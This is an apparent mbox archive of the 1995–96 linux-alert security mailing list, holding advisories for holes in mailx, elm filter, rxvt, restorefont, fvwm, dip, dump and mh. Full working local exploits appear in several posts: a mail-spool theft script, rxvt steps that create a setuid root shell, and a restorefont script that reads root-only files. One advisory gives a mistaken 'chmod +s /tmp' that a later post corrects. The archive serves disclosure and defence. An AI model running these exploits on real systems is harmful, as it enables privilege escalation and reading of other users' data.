-Sam Lantinga ([email protected])
From [email protected] Sat Dec 23 13:08:16 1995
Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id NAA01988; Sat, 23 Dec 1995 13:08:14 -0500
Message-ID:
Date: Fri, 22 Dec 1995 17:35:01 -0500 (EST)
From: David J Meltzer
To: [email protected], [email protected],
[email protected]
Subject: mailx-5.5 (slackware /bin/mail) security hole
Sender: [email protected]
Precedence: special-delivery
Reply-To: [email protected]
[mod: The timing of this is somewhat unfortunate, given that most people
are off for xmas dinner now. Since this has been posted to bugtraq,
too, there's no point in delaying it. However, I have removed
the exploit code from the copy approved to linux-alert. --okir]
There is a problem prevalent in the way many programs implement their
usage of mktemp() in order to create temporary files in /tmp, allowing users
on a machine to read and write to the contents of temporary files created.
The basic problem is that there is a race condition that exists between
the point that a program calls mktemp(), and the pathname returned by mktemp
is actually created. For some programs, the file creation is immediately
or almost immediately following the mktemp(), resulting in an extremely
small window of opportunity, and as a result making it very difficult to
exploit. However, there are other programs that do not immediately open
the file, and in these cases it is only a matter of getting the timing
right in order to exploit the hole.
To exploit this hole, simply create the file that mktemp() returns as
a valid temporary filename after mktemp() has been called, but before the
file has been opened, allowing the user running the program permissions to
read and write from that temporary file. The program will then succeed in
an fopen, and will write to the file, oblivious to the fact that it didn't
actually create the file, and that others can also read and write from the
file.
Note that most programs will immediately unlink() a temporary file, but
that does not delete it until after it is closed. Closing a file results in
the contents of it being flushed, and so by using a 'tail -f' or a similar
procedure, you can capture the contents of the file before it is removed
from the filesystem.
The filename returned by mktemp() is easily determined for most unix
platforms, allowing this bug to be exploited. For the linux libc, this is
to replace the X's in the template with the leftmost digit starting at 'a',
and then being incremented 'a'-'z', 'A'-'Z', and '0'-'9' (if that file
already exists), and then replacing the rest of the X's with the process id
(0 padded). Other operating systems use a variation of this technique,
experimentation easily reveals the algorithm.
The generic procedure used to formulate an exploit for a particular program
with this bug is as follows:
1. detect the execution of the program.
2. determine the temporary filename that mktemp() will return
when called by the program.
3. determine the point at which mktemp() is called by the program,
and immediately following that point, create the file, with
rw permissions for the user who is running the program.
4. read the contents of the temporary file, using a 'tail -f' or
your own routines.
Linux's /bin/mail, as included in Slackware 3.0 (mailx 5.5), suffers
from this mktemp() problem in all temporary files it creates. It uses 5
temporary files with filenames generated during the program's initialization
in a tinit() function, and then uses them as it becomes necessary during the
program's execution. The race condition begins in this tinit() function.
The temporary files that can be exploited are as follows:
/tmp/ReXXXXXX
Used when a user selects 'e' from the mailx command prompt, to edit
mail. The message the user has selected to edit is copied to the
temporary file at this point, and then the editor is invoked on that
temp file. The race condition ends when the user has selected 'e',
and allows the mesage being edited to be read.
/tmp/RsXXXXXX
Used when a user sends mail, usually from the command line, such as:
'mail dave'. The race condition ends when EOF is recieved from stdin,
and the message is about to be sent, and allows the outgoing mail to
be read.
/tmp/RqXXXXXX
Used when mail arrives into the mail spool while mail is currently
running. The race condition ends when the program is preparing to
shutdown, and allows the new contents of the mail spool to be read.
/tmp/RmXXXXXX
Used to prepend a message to the user's mbox file. Prepending
requires the entire mbox contents to be read to the temporary file
and then appened to the new message(s) being added to the file.
This is disabled by default in Slackware 3.0 in the /etc/mail.rc
by the use of the set append option. For this to be useful, that
option needs to be removed from /etc/mail.rc, or an unset append
needs to be added to the user executing mail's .mailrc file. The
race condition ends when the program is preparing to shutdown
/tmp/RxXXXXXX
Used to read messages from the user's mail spool. The race condition
ends during the program's startup, when the mail spool is read, and
allows any new mail in the user's spool to be read. Because there
is no user input between tinit() and this point, it is the only
race condition that isn't completely trivial to exploit.
The exploit that follows demonstrates the flaws in all but the final
temporary file. To use, wait for a mail process to execute, then call the
mailbug program with the process id as an argument, and finally execute a
tail -f /tmp/R*, and let it run until the mail program has terminated
execution. After it is over, remove the files you created in /tmp.
As an aside, there are a number of programs that are vulnerable to a
directed denial of service attack preventing people from using them by
creation of the 62 temporary files that are attempted to be used by mktemp(),
resulting in the failure of the program to run. By continous running of a
program watching for these vulnerable programs to start, they can be prevented
from ever successfully executing (one such example of this is in.pop3d, which
would allow a denial of service attack against a specific user from recieving
mail through pop).
Program: mailx-5.5 (/bin/mail)
Affected Operating Systems: linux - Slackware 3.0, others with mailx-5.5
Requirements: account on system, user using /bin/mail
Temporary Patch: chmod o-x /usr/bin/Mail (ie: use something else)
Security Compromise: any user with an account can read incoming, edited,
or outgoing mail if the mail is processed by mailx.
Author: Dave M. ([email protected])
Synopsis: The predictability of mktemp() is exploited to
create the temporary files after the filenames
have been determined but before they are actually
created, allowing the mail being dumped to those
temporary files to be read by the creator of the
files.
[mod: code removed. --okir]
linux-alert/1995/CONTENTS100664 1767 1767 2400 6246256234 14161 0ustar majdommajdom
linux-alert.9503:
NFS deamon can be killed by normal users.
Bogus post to Linux Alert
NFS Vulnerability
linux-alert.9504:
security hole in old versions of at for Linux
Hash signs in hosts.equiv
Trojan in Linux Satan Binaries
(fwd) Trojan in Linux Satan Binaries!
Trojan in Linux Satan Binaries!
linux-alert.9505:
SECURITY: problem with some wu-ftpd-2.4 binaries
Re: SECURITY: problem with some wu-ftpd-2.4 binaries
linux-alert.9506:
SECURITY: problem with yppasswdd
linux-alert.9507:
Linux Security FAQ Update#5: Cipher-3.0/deslogin-1.3 and GCC 2.7.0
linux-alert.9508:
SECURITY ALERT: Dangerous hole in vacation v1.0.
Ghostscript problem
linux-alert.9509:
Minicom 1.70
linux-alert.9510:
URGENT: Linux Security FAQ Update#7: adduser-1.0 script vulnerability
linux-alert.9511:
Telnetd Environment Vulnerability
Fwd: CERT Advisory CA-95:14 - Telnetd Environment Vulnerability
Re: BoS: Telnetd Environment Vulnerability
Apology for errant post.
linux-alert.9512:
EMERGENCY LINUX SECURITY FAQ UPDATE: PGP KEY COMPROMISE
PGP key compromise.
'ypupdated' hole, system crackers.
Avalon Release
SECURITY: Announcing Splitvt 1.6.3
mailx-5.5 (slackware /bin/mail) security hole
linux-alert/1995/TOPICS100664 1767 1767 2652 6246256234 13736 0ustar majdommajdom'ypupdated' hole, system crackers. linux-alert.9512
(fwd) Trojan in Linux Satan Binaries! linux-alert.9504
Apology for errant post. linux-alert.9511
Avalon Release linux-alert.9512
Bogus post to Linux Alert linux-alert.9503
BoS: Telnetd Environment Vulnerability linux-alert.9511
EMERGENCY LINUX SECURITY FAQ UPDATE: ... linux-alert.9512
Fwd: CERT Advisory CA-95:14 - Telnetd... linux-alert.9511
Ghostscript problem linux-alert.9508
Hash signs in hosts.equiv linux-alert.9504
Linux Security FAQ Update#5: Cipher-3... linux-alert.9507
mailx-5.5 (slackware /bin/mail) secur... linux-alert.9512
Minicom 1.70 linux-alert.9509
NFS deamon can be killed by normal us... linux-alert.9503
NFS Vulnerability linux-alert.9503
PGP key compromise. linux-alert.9512
SECURITY: Announcing Splitvt 1.6.3 linux-alert.9512
SECURITY: problem with some wu-ftpd-2... linux-alert.9505
SECURITY: problem with yppasswdd linux-alert.9506
SECURITY ALERT: Dangerous hole in vac... linux-alert.9508
security hole in old versions of at f... linux-alert.9504
Telnetd Environment Vulnerability linux-alert.9511
Trojan in Linux Satan Binaries linux-alert.9504
Trojan in Linux Satan Binaries! linux-alert.9504
URGENT: Linux Security FAQ Update#7: ... linux-alert.9510
linux-alert/linux-alert.9601100664 1767 1767 110445 6103753036 15222 0ustar majdommajdomFrom [email protected] Tue Jan 2 06:03:27 1996
Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id GAA00266; Tue, 2 Jan 1996 06:03:27 -0500
From: [email protected]
Message-ID:
Date: Tue, 26 Dec 1995 15:07:49 -0500 (EST)
>From: David J Meltzer
To: [email protected], [email protected],
[email protected]
Subject: filter (elm package) security hole
Sender: [email protected]
Precedence: special-delivery
Reply-To: [email protected]
The elm filter under linux runs sugrp mail, thus allowing it to freely
read and write from users mail spools. It is only through the integrity
of its code that the security of linux's mail system is protected; and in
this respect it falls short. The failure of the filter program to properly
handle temporary files allows a user to read or write to any user's mail
spool, a significant security hole.
The specific problem that is exploited in this hole is the way filter
uses a temporary file to store the input to it, and then subsequently send
it back out according to the filter. Because of the modularity of the
coding, in the main filter.c, the temporary file is opened, and then written
to; after which it is closed. The mailmessage function is then called, with
the purpose of forwarding that mail, written to the temporary file, to
whatever destination is specified in the filter. At the start of this
process, the temporary file is opened, and the contents of it are dumped
to the mail spool of the user the mail is being forwarded to.
At any point after the file has been initially opened by the main filter
function, since the user running filter has permissions on that temp file,
it can be rm'd. The temp file existing can then be replaced with a symbolic
link to any file that group mail has read permissions on. When it is opened
in the mailmessage function, the symbolic link is followed and whatever file
that was pointed to will be read in, and the contents forwarded to the user
specified in the mail spool.
The complete exploits are shown below:
Program: filter, an elm utility
Affected Operating Systems: linux - Slackware 3.0, others with sgid mail filter
Requirements: account on machine
Security Compromise: user can read any mail spool readable by grp mail.
(usually everything, sometimes not root)
Author: Dave M. ([email protected])
Synopsis: filter writes out the mail to be forwarded to a
temporary file, which is then closed and reopened;
if when the temporary file is reopened it is a
symlink to a mail spool, filter will proceed
to forward the contents of that file as if it was
the original message.
#!/bin/sh
# This shell script exploits a problem with filter(1L)
# it will follow symbolic links, on a read allowing
# us to steal a users mail file.
#
# Usage: fread.sh victimsusername
#
# Contents will be stored in ~/victimsusername.mail
#
# Dave M. ([email protected])
#
cp /var/spool/mail/$LOGNAME ~
cp /dev/null /var/spool/mail/$LOGNAME
echo 'if (always) forward' $LOGNAME > /tmp/fread-ftr.tmp
cat << _EOF_ >> /tmp/fread-msg.tmp
>From: Dave
To: $LOGNAME
Subject: Filter Exploit
_EOF_
echo sleep 2 > /tmp/fread-sh.tmp
echo cat /tmp/fread-msg.tmp >> /tmp/fread-sh.tmp
chmod +x /tmp/fread-sh.tmp
/tmp/fread-sh.tmp|filter -f /tmp/fread-ftr.tmp &
FREAD=`ps|grep 'filter -f'|grep -v grep|awk '{print $1}'`
rm -f /tmp/filter.$FREAD
ln -s /var/spool/mail/$1 /tmp/filter.$FREAD
sleep 2
rm -f /tmp/fread-ftr.tmp /tmp/fread-msg.tmp /tmp/fread-sh.tmp
/tmp/fread-ftr.tmp /tmp/filter.$FREAD
FREAD=
cp /var/spool/mail/$LOGNAME ~/$1.mail
cp ~/$LOGNAME /var/spool/mail
more ~/$1.mail
From [email protected] Tue Jan 2 12:08:16 1996
Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id MAA01799; Tue, 2 Jan 1996 12:08:15 -0500
From: [email protected]
Message-ID:
Date: Tue, 2 Jan 1996 05:05:40 -0500 (EST)
>From: David J Meltzer
To: [email protected], [email protected],
[email protected], [email protected]
Subject: rxvt security hole
Sender: [email protected]
Precedence: special-delivery
Reply-To: [email protected]
There is a major security hole in rxvt, a terminal emulator for X, when it
is run on systems suid root, as is required on many configurations in order to
write to the utmp file. It is obvious from the code that this program was
not written to be run suid root, its a pity that sysadmins that install the
compiled versions of this sort of code don't see the same warnings of 'run
suid root at your own risk' that the people that put together a distribution
with it that way see in the makefile.
The conditions that allow this particular hole to be exploited is rxvt
compiled with the PRINT_PIPE option, and is running suid root. The program
sets the pipe to "lpr", without a pathname, but its even easier than that
to exploit because we can set the pipe to whatever we want with the -print-pipe
option on the rxvt command line. Although the programs gives up its root
privileges when forking to runn a shell or other command, the original program
continues running suid root the entire execution of the program.
Because the popen() call runs as root, whatever program that pipe opens
will execute immediately as root. In order to start the printer pipe, the
vt100 printer-on command is ESC[5i. The pipe can then be closed with the
printer-off commad, ESC[4i. Exploiting this is extremely easy.
Program: rxvt
Affected Operating Systems: Linux Slackware 3.0, RedHat 2.1, others with
rxvt suid root (and compiled with PRINT_PIPE)
Requirements: account on system, X server
Temporary Patch: chmod -s /usr/X11R6/bin/rxvt
Security Compromise: root
Author: Dave M. ([email protected])
Synopsis: rxvt fails to give up root privileges before
opening a pipe to a program that can be specified
by the user.
Exploit:
1. Set DISPLAY environment variable if necessary so you can use x clients.
2. In user shell:
$ echo 'cp /bin/sh /tmp/rxsh;chmod 4755 /tmp/rxsh' > /tmp/rxbug
$ chmod +x /tmp/rxbug
$ rxvt -print-pipe /tmp/rxbug
3. In rxvt xclient:
$ cat
ESC[5i
ESC[4i
(The client will close at this point with a broken pipe)
4. $ /tmp/rxsh
# whoami
root
#
From [email protected] Fri Jan 5 17:10:07 1996
Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id RAA12779; Fri, 5 Jan 1996 17:10:06 -0500
Message-ID: <[email protected]>
Date: Fri, 22 Dec 1995 16:33:00 -0500 (EST)
From: David J Meltzer
To: [email protected], [email protected],
[email protected]
Subject: restorefont security hole
Sender: [email protected]
Precedence: special-delivery
Reply-To: [email protected]
Linux's svgalib utility restorefont, required to be suid root, has a problem
in that it does not revoke suid permissions before reading a file. Similar
bugs may exist in other svgalib utilities. The restorefont utility serves two
functions. First, it will read a font from a file and write it to the console
as the vga font. Second, it will read a font from the console and write it out
to a file. Luckily, the specific bug in restorefont can only be exploited if
someone is at the console, reducing its overall impact on the security of the
system as a whole.
In writing the utilities, the authors are aware of the fact that when
writing out the font, suid permissions must first be given up; it is in fact
commented as such in the code. However, when reading in a font, the program
is still running with full suid root permissions. This allows us to read in
any file for the font that root has access to (anything on a local fs).
The applicable code to read in the file in restorefont is shown below:
#define FONT_SIZE 8192
unsigned char font[FONT_SIZE];
if (argv[1][1] == 'r') {
FILE *f;
f = fopen(argv[2], "rb");
if (f == NULL) {
error:
perror("restorefont");
exit(1);
}
if(1!=fread(font, FONT_SIZE, 1, f))
{
if(errno)
goto error;
puts("restorefont: input file corrupted.");
exit(1);
}
fclose(f);
We can see from this that the file to be read in has to be at least 8k,
as if it is not, the program will produce an error and exit. If the file
is at least 8k, the first 8k are read into the buffer, and the program
proceeds to set whatever the contents of the file are to the font:
vga_disabledriverreport();
vga_setchipset(VGA); /* avoid SVGA detection */
vga_init();
vga_setmode(G640x350x16);
vga_puttextfont(font);
vga_setmode(TEXT);
At this point, the console will now look quite unreadable if you are
reading something other than a font from that file. But, the data that
is put into the font is left untouched and is readable using the -w option
of restorefont. We then read the font back from video memory to a new file,
and our job is complete, we have read the first 8k of a file we shouldn't
have had access to. To prevent detection of having run this, we probably
shouldn't leave an unreadable font on the screen, so we save and then restore
the original font before reading from the file.
The complete exploit is shown below:
Program: restorefont, a svgalib utility
Affected Operating Systems: linux - Slackware 3.0, others with svgalib
Requirements: logged in at console
Temporary Patch: chmod -s /usr/bin/restorefont
Security Compromise: user can read first 8k of any file of at least
8k in size on local filesystems
Author: Dave M. ([email protected])
Synopsis: restorefont reads a font file while suid root,
writing it to video memory as the current vga
font; anyone at console can read the current
font to a file, allowing you to use video memory
as an 8k file buffer.
rfbug.sh:
#!/bin/sh
# This shell script exploits a problem with restorefont
# it reads a file into the video memory as the vga font
# and then writes the file back out from video memory
# thus allowing any user at console to read 8k of any file
# on a local filesystem.
#
# Usage: rfbug.sh filename-to-read filename-to-write
#
# Dave M. ([email protected])
#
restorefont -w /tmp/deffont.tmp
restorefont -r $1
restorefont -w $2
restorefont -r /tmp/deffont.tmp
rm -f /tmp/deffont.tmp
From [email protected] Fri Jan 12 13:21:04 1996
Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id NAA17280; Fri, 12 Jan 1996 13:21:04 -0500
Date: Fri, 12 Jan 1996 01:10:19 -0500 (EST)
From: "Alexander O. Yuriev"
To: Linux Security Mailing List ,
[email protected]
cc: Linux Announce Submit
Subject: CORRECTED(!) Linux Security FAQ Update#10: fvwm vulnerability
Message-ID:
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: [email protected]
Precedence: special-delivery
Reply-To: [email protected]
-----BEGIN PGP SIGNED MESSAGE-----
[ LINUX SECURITY FAQ UPDATES ADMIN INFORMARION ]
1. The Linux Security FAQ Update #10 released on Jan 11, 1996 is
hereby REVOKED. Please disregard information in the Linux
Security FAQ Update#10 released on Jan 11, 1996
2. The Linux Security FAQ Update #10 released on Jan 12, 1996 is
hereby made an OFFICIAL Linux Security FAQ Update#10 regarding
the fvwm vulnerability.
This is corrected LSF Update#10. In the version of LSF Update#10 dated
January 11, 1996, and signed with a key "1024/ADF3EE95 1995/06/08 Linux
Security FAQ Primary Key " an error was made in the
"Other Distributions" section. Unfortunatly, no one noticed that error prior
to the Update being released.
-- Alexander O. Yuriev ([email protected])
- -----BEGIN PGP SIGNED MESSAGE-----
Linux Security FAQ Update
Vulnerability of FVWM
January 12, 1996 00:46:37 EST
Copyright (C) 1995-96 Alexander O. Yuriev ([email protected])
CIS Laboratories
TEMPLE UNIVERSITY
U.S.A.
=============================================================================
This is an official update of the Linux security FAQ, and it is supposed to
be signed by one of the following PGP keys:
1024/9ED505C5 1995/12/06 Jeffrey A. Uphoff
Jeffrey A. Uphoff
1024/EFE347AD 1995/02/17 Olaf Kirch
1024/ADF3EE95 1995/06/08 Linux Security FAQ Primary Key
Unless you are able to verify at least one of signatures, please be very
careful when following instructions.
Linux Security WWW: http://bach.cis.temple.edu/linux/linux-security
linux-security & linux-alert mailing list archives:
ftp://linux.nrao.edu/pub/linux/security/list-archive
=============================================================================
ABSTRACT
A vulnerability exists in the FVWM version 1.24 and versions prior
to that. This vulnerability allows intruders to execute programs
as users other than themselves. Under certain circumstances if root
uses fvwm, a compromise of a root account is possible. This Linux
Security FAQ Update provides information about ways to fix this
hole.
RISK ASSESSMENT
In certain situations local users can execute commands under
different UID. Root compromise is possible only if root account
is used to run fvwm, which is not advisable.
SOLUTION TO THE PROBLEM
The successful attack against fvwm exploits a race condition that
occurs when fvwm performs certain operations. The following
information should allow one to prevent the race condition from
occurring.
1. /tmp directory should be owned by (root:root) with
world-write, world-execute and world-read permissions.
A sticky bit is *required* on this directory.
Use the following set of commands to change your /tmp
directory parameters to conform with the requirements:
chown root.root /tmp (make ownership (root:root))
chmod 777 /tmp (make protection mode 777)
chmod +s /tmp (place a sticky bit on)
2. Install appropriate distribution-specific fix
Red Hat Commercial Linux 2.0 and 2.1
Marc Ewing ([email protected]) provided the following information
about the official Red Hat RPM that fixes the hole. The
RPM for Intel architecture can be obtained from one of the
following URLs:
ftp://ftp.redhat.com/pub/redhat-2.1/i386/updates/RPMS/fvwm-1.24r-5.i386.rpm
ftp://bach.cis.temple.edu/pub/Linux/Security/DISTRIBUTION-FIXES/RedHat-2.1/fvwm-1.24r-5.i386.rpm
Users of RedHat/AXP should install fvwm for AXP
architecture. It is available from one of the following
URLs:
ftp://ftp.redhat.com/pub/redhat-2.1/axp-beta/updates/RPMS/fvwm-1.24r-5.axp.rpm
ftp://bach.cis.temple.edu/pub/Linux/Security/DISTRIBUTION-FIXES/RedHat-2.1/fvwm-1.24r-5.axp.rpm
Please verify the MD5 hash of the file prior to installing it.
af4bb44d5f3a390f04c5b0467b00e2a6 fvwm-1.24r-5.i386.rpm
88ae8be7f633192ccbd2f0cb407b7ecc fvwm-1.24r-5.axp.rpm
Caldera Network Desktop
Preview II users should follow the instructions for Red Hat
Commercial Linux 2.0 and 2.1 to install updated RPM
Debian/GNU Linux
Ian Murdock ([email protected]) provided the following
information about the official fvwm replacement for the
Debian/GNU Linux. The replacement can be obtained from
one of the following URLs:
ftp://ftp.debian.org/debian/debian-0.93/binary/x11/fvwm-1.24r-10.deb
ftp://bach.cis.temple.edu/Linux/Security/DISTRIBUTION-FIXES/Debian/fvwm-1.24r-10.deb
Please verify the MD5 hash of the file prior to installing it.
05958bb6eff51df2b933c268544c6541 fvwm-1.24r-10.deb
Slackware
All Slackware Linux distributions, including Slackware 3.0
use vulnerable fvwm. The maintainer of Slackware 3.0, Patrick
J. Volkerding, did acknowledge the problem and but did not
have Slackware specific patch on Jan 11, 1996.
It is recommended that until the Slackware 3.0 package
that fixes this fvwm hole becomes available, users of
Slackware should follow instructions in the "Other
Distributions" section.
Yggdrasil
All distributions of Yggdrasil Plus & Play Linux are
believed to be vulnerable. Yggdrasil Inc, neither acknowledged
the problem nor provided any information from which it could
be concluded that their distributions are not vulnerable.
It is recommended that even if Yggdrasil Inc, does not
acknowledge the existence of this problem, users of Yggdrasil
distributions should follow the instructions in the "Other
Distributions" section.
Other Distributions
If there is no distribution specific package that fixes the
fvwm security hole available at this time, it is
recommended that either use of the fvwm should be
discontinued, or a fixed version of fvwm used to create
Debian/GNU Linux package should be installed.
The source code of it is available from one of the following
URLs:
ftp://ftp.debian.org/debian/debian-0.93/source/x11/fvwm-1.24r-10.tar.gz
ftp://bach.cis.temple.edu/pub/Linux/Security/fvwm-1.24r-10.tar.gz
Please verify the MD5 hash of the file prior to using it.
4bf102e2451ab7ae4fbc42712b3b79c2 fvwm-1.24r-10.tar.gz
CREDITS
This LSF Update is based on the information provided by
Winfried Truemper ([email protected]),
Marc Ewing ([email protected]),
Olaf Kirch ([email protected]),
Ian Murdock ([email protected]),
Austin Donnelly ([email protected]) and
Patrick J. Volkerding ([email protected])
- -----BEGIN PGP SIGNATURE-----
Version: 2.6.2
iQCVAwUBMPX2PoxFUz2t8+6VAQHAvAQAh8OD8BRdwEB+44JxGhYvM95rPXLXfPMr
je0AnkIuW/pHC/k0nZ80vI8/ZvYMfSBbElrijDyM0tL63G2Jkhl3UbQA0fuzmiKc
C3445l5Z82+FYYI7ZdD9mw/aSs5QE82P0VT+XD83eN9laLoG2XwX39Yg1HrOrS7f
RICO+g9Lwgk=
=b41E
- -----END PGP SIGNATURE-----
-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
iQCVAwUBMPX6Np0afeTWLUSJAQEMQwP/Rts1JcREak/OyQSwWCOit1tVNuwyeBIf
gSjmEKoAoWAl0NmkfKHjhKV9Xn06HvjoA18P+P2o82hRbZMIVyQh8LmOtrMv3Aj2
eFCUz5W+fEbgwCjdSHV5St6G2itjZTgc1oQbAmE5vh6RoKjRw85HJDmv834PgMjO
b8/VCDc4qbA=
=sheq
-----END PGP SIGNATURE-----
============================================================================
Alexander O. Yuriev Email: [email protected]
CIS Labs, TEMPLE UNIVERSITY WWW: http://bach.cis.temple.edu/personal/alex
Philadelphia, PA, USA
KeyID: 1024/D62D4489 Key Fingerprint: AE84534377CCC4E2 37B13C4D8CD3D501
Unless otherwise stated, everything above is my personal opinion and not an
opinion of any organisation affiliated with me.
=============================================================================
From [email protected] Sat Jan 13 18:24:03 1996
Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id SAA23676; Sat, 13 Jan 1996 18:24:02 -0500
Date: Sat, 13 Jan 1996 17:25:05 -0500 (EST)
From: "Alexander O. Yuriev"
To: Linux Security Mailing List ,
[email protected]
cc: Linux Announce Submit ,
[email protected]
Subject: LSF Update#10: Another correction.
Message-ID:
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: [email protected]
Precedence: special-delivery
Reply-To: [email protected]
-----BEGIN PGP SIGNED MESSAGE-----
[LINUX SECURITY FAQ UPDATES ADMIN NOTE]
Another error was noticed in a Linux Security FAQ Update#10
regarding the vulnerability of fvwm 1.24.
The LSF Update#10 reads:
***** BEGIN LSF UPDATE QUOTE *****
SOLUTION TO THE PROBLEM
The successful attack against fvwm exploits a race condition that
occurs when fvwm performs certain operations. The following
information should allow one to prevent the race condition from
occurring.
1. /tmp directory should be owned by (root:root) with
world-write, world-execute and world-read permissions.
A sticky bit is *required* on this directory.
Use the following set of commands to change your /tmp
directory parameters to conform with the requirements:
chown root.root /tmp (make ownership (root:root))
chmod 777 /tmp (make protection mode 777)
chmod +s /tmp (place a sticky bit on)
***** END LSF UPDATE QUOTE ******
The line "chmod +s /tmp (place a sticky bit on)" has to be
read as "chmod +t /tmp (place a sticky bit on)". Please make the
necessary changes in the protection mode of the /tmp directory
--- Alexander O. Yuriev
-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
iQCVAwUBMPgsCYxFUz2t8+6VAQGBfQP+LAzTvTpuMcIa2TFdThFX+Z8zBFBtp2Bu
zqrLAHvLDUe8McFP8V9gRDIpc/rgFoNBjyVwrZ31ruK0RuqJ3363lq8iHebaVmni
4jacgKj4BBWVdN40RRQaK3qJ52lH7tebZvjw0wLAF6sYoXt3DHIsB+GM+B5T+aQz
n0W24Bmof4s=
=rsNv
-----END PGP SIGNATURE-----
============================================================================
Alexander O. Yuriev Email: [email protected]
CIS Labs, TEMPLE UNIVERSITY WWW: http://bach.cis.temple.edu/personal/alex
Philadelphia, PA, USA
KeyID: 1024/D62D4489 Key Fingerprint: AE84534377CCC4E2 37B13C4D8CD3D501
Unless otherwise stated, everything above is my personal opinion and not an
opinion of any organisation affiliated with me.
=============================================================================
From [email protected] Mon Jan 22 12:22:08 1996
Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id MAA00576; Mon, 22 Jan 1996 12:22:08 -0500
Date: Sun, 21 Jan 1996 14:34:22 -0600 (CST)
From: Dan Walters
X-Sender: [email protected]
To: [email protected]
cc: [email protected], [email protected]
Subject: Linux: dip security hole
Message-ID:
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: [email protected]
Precedence: special-delivery
Reply-To: [email protected]
[mod: I've removed the exploit code from this posting so that users can't
exploit the hole too easily. The full posting has been approved to
linux-security (and bugtraq, for that matter). An LSF update is
being prepared. --okir]
PROGRAM: dip 3.3.7n, and probably other variants
AFFECTED SYSTEMS: Linux - Slackware 3.0 and RedHat 2.1 verified,
others unknown.
IMPACT: Local users can get superuser privleges.
SYNOPSIS: Some Linux distributions come with dip setuid
root by default. There are multiple points in
dip where an unbounded buffer is used with user
supplied data making possible a stack overflow.
Functions in which this appears to be possible
include do_chatkey() and mdm_dial().
WORKAROUND: It is suggested that at least until the source
has been further scrutinized that dip not be
setuid unless necessary.
chmod 0755 dip
If you must have dip setuid, place it in a group
where it can only be executed by trusted users.
SAMPLE EXPLOIT:
[removed]
--------------------------------------------------------------------
Dan Walters
[email protected]
From [email protected] Tue Jan 23 06:05:09 1996
Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id GAA03125; Tue, 23 Jan 1996 06:05:09 -0500
From: [email protected]
Message-ID:
Date: Mon, 22 Jan 1996 20:45:37 -0500 (EST)
>From: David J Meltzer
To: [email protected], [email protected],
[email protected]
Subject: dump RedHat security hole
Sender: [email protected]
Precedence: special-delivery
Reply-To: [email protected]
[mod: Marc Ewing has already made available an RPM for this; the URL is
ftp://ftp.redhat.com/pub/redhat-2.1/i386/updates/RPMS/dump-0.2e-4.i386.rpm
--okir]
There is a security hole in RedHat 2.1, which installs /sbin/dump suid
root. The dump program makes no provisions for checking file permissions,
allowing any user on the system to read arbitrary files on the system.
Dump checks permissions only on the directory you specify to backup, and
not on files or subdirectories.
The process to exploit this is to backup the files via dump as if it was
a normal backup to a temporary file, and then restore the temporary file
with /sbin/restore to your own directory. The solution is simple, don't
run dump suid root on your system.
Program: /sbin/dump incorrectly installed
Affected Operating Systems: RedHat 2.1 linux distribution
Requirements: account on system
Patch: chmod -s /sbin/dump
Security Compromise: read arbitrary files on system
Author: Dave M. ([email protected])
Synopsis: dump fails to check file permissions against
user running dump, or to give up suid when
backing up a filesystem.
Exploit:
$ /sbin/dump 0uf woot.dump DIRECTORY_FILE_TO_READ_IS_IN
/-------------\
|David Meltzer|
|[email protected]|
/--------------------------\
|School of Computer Science|
|Carnegie Mellon University|
\--------------------------/
From [email protected] Tue Jan 23 14:46:26 1996
Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id OAA04991; Tue, 23 Jan 1996 14:46:26 -0500
Message-Id: <[email protected]>
X-Mailer: exmh version 1.6.4 10/10/95
To: [email protected]
Cc: Dan Walters , Bugtraq List ,
[email protected]
Subject: Re: Linux: dip security hole
In-reply-to:
from Dan Walters on Sun, 21 Jan 1996 14:34:22 CST.
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Tue, 23 Jan 1996 11:01:03 -0500
From: Marc Ewing
Sender: [email protected]
Precedence: special-delivery
Reply-To: [email protected]
A security hole exists in all shipped releases of the "dip" package
for Red Hat Linux (for Intel architectures -- there is no dip for
Red Hat/AXP yet). Users should immediately upgrade:
rpm -Uvh ftp://ftp.redhat.com/pub/redhat-2.1/updates/RPMS/dip-3.3.7n-3.i386.rpm
MD5 sum:
3c94852a8fb636aa9b5407cae155e2ae dip-3.3.7n-3.i386.rpm
-Marc
From [email protected] Fri Jan 26 11:11:22 1996
Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id LAA21386; Fri, 26 Jan 1996 11:11:21 -0500
Message-ID:
Date: Wed, 24 Jan 1996 22:12:07 -0500 (EST)
From: David J Meltzer
To: [email protected], [email protected]
Subject: Red Hat mh inc/msgchk security hole
Sender: [email protected]
Precedence: special-delivery
Reply-To: [email protected]
[mod: This is not a terribly dangerous hole, but I'm approving this to
linux-alert nevertheless. Making tools such as mail readers
setuid root is a bad idea, anyway (IMHO).
Marc Ewing has made an updated RPM available at ftp.redhat.com
as /pub/redhat-2.1/i386/updates/RPMS/mh-6.8.3-4.i386.rpm
Its MD5 sum is 32d61477bc9facfbad7315598d5dee91.
--okir]
There is a security hole in Red Hat 2.1, which installs /usr/bin/mh/inc
and /usr/bin/mh/msgchk suid root. These programs are configured suid root
in order to bind to a privileged port for rpop authentication. However,
there is a non-security conflict between mh and the default Red Hat 2.1
configuration in that the /etc/services lists pop-2 and pop-3 services, but
the mh utilities do lookups for a pop service, which doesn't exist, resulting
in an inability to use any of the pop functionality. This may be a fortunate
bug, since there may be more serious security holes within the pop functions
of these two program.
